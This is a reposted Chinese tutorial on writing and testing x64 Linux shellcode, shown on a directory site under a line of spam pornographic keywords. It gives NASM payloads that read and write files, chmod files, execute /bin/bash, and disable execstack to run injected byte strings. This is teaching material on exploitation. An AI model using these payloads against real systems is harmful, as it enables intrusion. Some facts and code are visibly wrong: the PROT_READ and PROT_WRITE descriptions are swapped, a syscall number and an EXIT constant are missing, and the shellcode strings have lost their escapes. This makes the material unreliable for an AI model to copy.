日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

本篇主要是以x64系統為例對系統調用中一些功能性函數的解讀和實際運用。目前網絡上流傳的通用shellcode,均使用系統調用實現,在記錄整個學習過程的同時分享給大家一起學習探討。

 

0x01 Shellcode 簡介

0x1 shellcode

Shellcode 是一段可以執行特定功能的特殊匯編代碼,在設備漏洞利用過程中注入到目標程序中從而被執行,在比賽或者是實戰中棧溢出漏洞使用的更為頻繁,編寫Shellcode比編寫RopGagdet更為簡單,棧溢出的最經典的利用方式是Ret2Shellcode。

0x2 exploit 與 shellcode關系

exploit主要強調執行控制權,而shellcode更關注于有了控制權之后的功能。因此shellcode更像是exploit的載荷,往往對于不同漏洞來講exploit是特殊的,而shellcode會具有一些通用性。

 

0x02 使用條件

對 shellcode 有了大概的了解之后,看一看其使用場景。一般來說這三點是必備條件,缺一不可,通過控制程序流程跳轉到shellcode地址上去。

0x1 擁有程序控制權

這一點毋庸置疑,可以通過棧溢出或者是格式化字符串,堆溢出等漏洞劫持程序的執行流。所以shellcode等的定位是漏洞觸發之后的漏洞利用,主要負責實現攻擊者的攻擊目的。

0x2 擁有shellcode地址

不論是程序擁有隨機化還是固定基地址,都需要在跳轉之前獲取shellcode存儲地址,一般采用的技巧是

  • 在程序bss段固定,且程序地址不隨機
  • shellcode為程序正常功能輸入,在寄存器中保存有其地址
  • 在堆棧附近存在與shellcode地址相關聯地址

0x3 shellcode在可執行內存空間

最后跳轉到shellcode地址上后需要有可執行權限才能執行。但通常程序開啟NX保護后,其內存空間禁止代碼執行,這是只能通過mprotect函數修改shellcode內存權限,賦予可執行權限后再跳轉。一般利用 RopGagdet 布局mprotect 函數修改內存權限。

帶你玩轉 Linux Shellcode

 

重點關注兩個方面 start地址和prot取值

1 起始地址

需要指出的是,鎖指定的內存區間必須包含整個內存頁(4K)。區間開始的地址start必須是一個內存頁的起始地址,并且區間長度len必須是頁大小的整數倍。

2 prot賦值

prot可以取以下幾個值,并且可以用“|”將幾個屬性合起來使用,括號中的數字是在預編譯的時候替換的真實值:

1)PROT_READ(1):表示內存段內的內容可寫;
2)PROT_WRITE(2):表示內存段內的內容可讀;
3)PROT_EXEC(4):表示內存段中的內容可執行;
4)PROT_NONE(0):表示內存段中的內容根本沒法訪問。

 

0x03 編寫技巧

打算從系統調用函數、字符串設計、代碼模板、shellcode提取這幾個發面著手寫這部分內容,主要解決以下三大問題:

  • 對系統調用函數不熟悉,特別是為參數賦值問題撓頭
  • 對匯編代碼編寫不熟悉,解決寄存器和內存應用問題
  • 對匯編代碼編譯不熟悉,解決怎么從編譯好的匯編程序中完整提取shellcode問題

0x1 系統調用函數

提到shellcode 就不得不說系統調用,我們首先考慮為什么要寫shellcode,其目的是執行一些程序本身不具備的功能,實現攻擊者的攻擊目的。湊巧的是在匯編語言中有這么一些函數調用基本可以實現所有功能,我們稱他們為系統調用函數,通過系統調用可以直接訪問系統內核,具有非常強大的功能。

帶你玩轉 Linux Shellcode

 

詳細的系統調用表網址如下

https://filippo.io/linux-syscall-table/
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/9.4_linux_syscall.html

系統調用 在匯編代碼中表示為syscall(int 0x80)指令,32和64位系統有所區別,二者有單獨調用表。

0x2 巧取字符串

初步認識shellcode的編寫技巧,先從最簡單的例子看起,下面代碼如果當作匯編語言執行是完全沒有問題的,但是如果做為shellcode的話還是差點火候。這里用兩種方法規避這種錯誤:

section .data
    WRITE equ 1
    EXIT  equ 60
    MESSAGE db "Hello", 0xa
section .text
    global _start

_start:
    mov     rax, WRITE
    mov     rdi, 1
    mov     rsi, MESSAGE
    mov     rdx, 5
    syscall
    jmp exit

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

編譯指令如下

nasm -g -f elf64 -o asm.o asm.s
ld -o asm asm.o

編譯過后可以發現字符串位于data段,指針利用的是絕對地址,在shellcode中是不能出現絕對地址,這也是shellcode的頭等大忌。

帶你玩轉 Linux Shellcode

 

1 方法一

利用call指令壓棧的特性,將字符串的地址壓棧之后再pop到寄存器中,在shellcode編寫中是一種非常常用的方法。我們可以看到字符串緊跟在call指令之后,因為call壓棧就是壓的下一條指令的地址,此地址正好為字符串地址。

section .data
    WRITE equ 1
    EXIT  equ 60
section .text
    global _start

_start:
    mov     rax, WRITE
    mov     rdi, 1
    jmp     getstring
string:
    pop     rsi
    mov     rdx, 5
    syscall
    jmp exit

getstring:
    call string
    MESSAGE db "Hello", 0xa

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

2 方法二

同時也是利用棧的特性,將字符串計算過大小,以及分割完畢之后就可以分撥壓進棧中,保存最后的esp值就可以實現字符串地址的獲取。

section .data
    WRITE equ 1
    EXIT  equ 60
    MESSAGE db "Hello", 0xa
section .text
    global _start
_start:
    mov     rax, WRITE
    mov     rdi, 1
    mov     rsi,0x00000a6f6c6c6548
    push    rsi    
    mov     rsi, rsp
    mov     rdx, 5
    syscall
    jmp exit

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

0x3 文件讀

1 sys_open

文件讀寫都需要涉及打開文件操作,是通過內核提供的系統調用sys_open來實現的。具體參數如下:

asmlinkage long sys_open(const char __user *filename, int flags, int mode)
帶你玩轉 Linux Shellcode

 


帶你玩轉 Linux Shellcode

 

這里需要注意在文件操作之后,需要利用close函數關閉文件描述符。分別介紹flags和mode參數取值,flags表示在打開文件時標志屬性,mode為在創建文件的時候文件屬性。

flags
表示只讀、只寫和創建。如果想賦予多個屬性可以用|鏈接類似于 O_WRONLY|O_CREAT

帶你玩轉 Linux Shellcode

 

mode
mode 相關取值表如下,值得注意是mode的表示為8進制,也就是說 777 的rwxrwxrwx 權限是8進制數。用下面的 屬性標示為 S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IXGRP|S_IROTH|S_IWOTH|S_IXOTH

帶你玩轉 Linux Shellcode

 


打開文件用匯編表示為

section .data
    OPEN equ 2
    EXIT  equ 60
    FILENAME db "test", 0x00
section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 2
    mov     rdx, 666
    syscall
    jmp exit
exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

2 sys_read

帶你玩轉 Linux Shellcode

 

section .data
    OPEN equ 2
    READ equ 0
    EXIT  equ 60
    FILENAME db "xxx", 0x00
    BUFFER db "11111"
section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 2
    mov     rdx, 511
    syscall

    mov     rdi, rax
    mov     rax, READ
    mov     rsi, BUFFER
    mov     rdx, 8
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

上述代碼中xxx為二進制文件,如下圖成功讀出elf內容:

帶你玩轉 Linux Shellcode

 


帶你玩轉 Linux Shellcode

 

0x4 文件寫

open 操作與之前一樣,新增write操作,相關系統調用參數如下:

帶你玩轉 Linux Shellcode

 

section .data
    OPEN equ 2
    EXIT  equ 60
    FILENAME db "hehe", 0x00

section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 65
    mov     rdx, 511
    syscall
    mov     rdi, rax
    jmp wirte

wirte:
    mov     rsi, FILENAME
    mov     rdx, 4
    syscall
    jmp exit
exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

0x5 權限修改

在linux中權限修改利用chmod指令,在系統調用的時候采用的sys_chmod函數

帶你玩轉 Linux Shellcode

 

在分析open函數時有討論mode的取值,這里就不再分析
有時在shellcode中需要修改程序的權限

#include <sys/types.h>
#include <sys/stat.h>
main()
{
    chmod("/etc/passwd", S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
}
section .data
    CHMOD equ 90
    EXIT  equ 60
    FILENAME db "xxx", 0x00
section .text
    global _start
_start:
    mov     rax, CHMOD
    mov     rdi, FILENAME
    mov     rsi, 511
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

0x6 命令執行

system函數中的命令執行用的是syscall execve系統調用。其參數格式如下

帶你玩轉 Linux Shellcode

 

調試system函數內部的參數調用可以看出rax是系統調用號,rdi是filename,rsi是字符串數組

帶你玩轉 Linux Shellcode

 

字符串數組內存布局如下

帶你玩轉 Linux Shellcode

 

section .data
    EXECVE equ 59
    FILENAME db "/bin/bash", 0x00
section .text
    global _start
_start:
    mov     rax, EXECVE
    mov     rdi, FILENAME
    mov     rsi, 0
    mov     rdx, 0
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

0x7 shellcode 提取技巧

這里參照 https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' ' | tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
帶你玩轉 Linux Shellcode

 

 

0x04 驗證技巧

走到這一步的大哥們都已經編好了自己的shellcode,開始磨刀霍霍向牛羊了,這里介紹兩種常用的檢查shellcode功能的方法,內聯匯編和函數指針。

0x0 關閉棧不可執行

因為在測試時,shellcode在bss段,在關閉NX編譯選項之后bss段也擁有了可執行屬性,具體操作如下。

注意在編譯的時候加上 -z execstack

gcc -o test test.c -z execstack
帶你玩轉 Linux Shellcode

 


帶你玩轉 Linux Shellcode

 

0x1 內聯匯編

在linux 下的C語言中主要采用的是 att格式的匯編,這里有個坑,一開始沒接觸c內聯att格式匯編的小盆友們要注意了jmp eax的寫法為jmp *%rax

#include<stdio.h>
char shellcode[] = "xb8x01x00x00x00xbfx01x00x00x00xebx0ax5exbax05x00x00x00x0fx05xebx0bxe8xf1xffxffxffx48x65x6cx6cx6fx0axb8x3cx00x00x00xbfx00x00x00x00x0fx05";
int main(int argc, char **argv)
{
        __asm__("lea shellcode,%eax;jmp *%rax");
       return 0;
}

如圖中代碼所示,rip已經指向jmp rax指令此時的rax就是shellcode那段字符串的地址。因為這段內存擁有可執行,最后成功執行shellcode。

帶你玩轉 Linux Shellcode

 

0x2 函數指針

第二種方法大同小異,也是將shellcode放在程序的bss段上,利用之前的編譯指令編好后調試。

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "xb8x01x00x00x00xbfx01x00x00x00xebx0ax5exbax05x00x00x00x0fx05xebx0bxe8xf1xffxffxffx48x65x6cx6cx6fx0axb8x3cx00x00x00xbfx00x00x00x00x0fx05";
int main(void)
{
    int (*func)() = (int(*)())shellcode;
    func();
}
帶你玩轉 Linux Shellcode

 

在上述匯編代碼中可以看出將shellcode 的地址賦值給了rdx寄存器,后續直接call調用。

 

0x05 總結

簡單的記錄了常見shellcode功能編寫測試方法,本文介紹的還是比較寬泛,也只針對64位系統進行分析,之后會把其他架構還有x86的利用方式慢慢補齊,還請大佬們多指點指點。

 

0x06 參考文獻

https://filippo.io/linux-syscall-table/
https://xz.aliyun.com/t/2052
http://www.vividmachines.com/shellcode/shellcode.html
https://blog.csdn.net/littlehedgehog/article/details/2653743

 

歡迎登錄安全客 -有思想的安全新媒體www.anquanke.com/加入交流群113129131 獲取更多最新資訊

原文鏈接: https://www.anquanke.com/post/id/216207

分享到:
標簽:Linux Shellcode
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定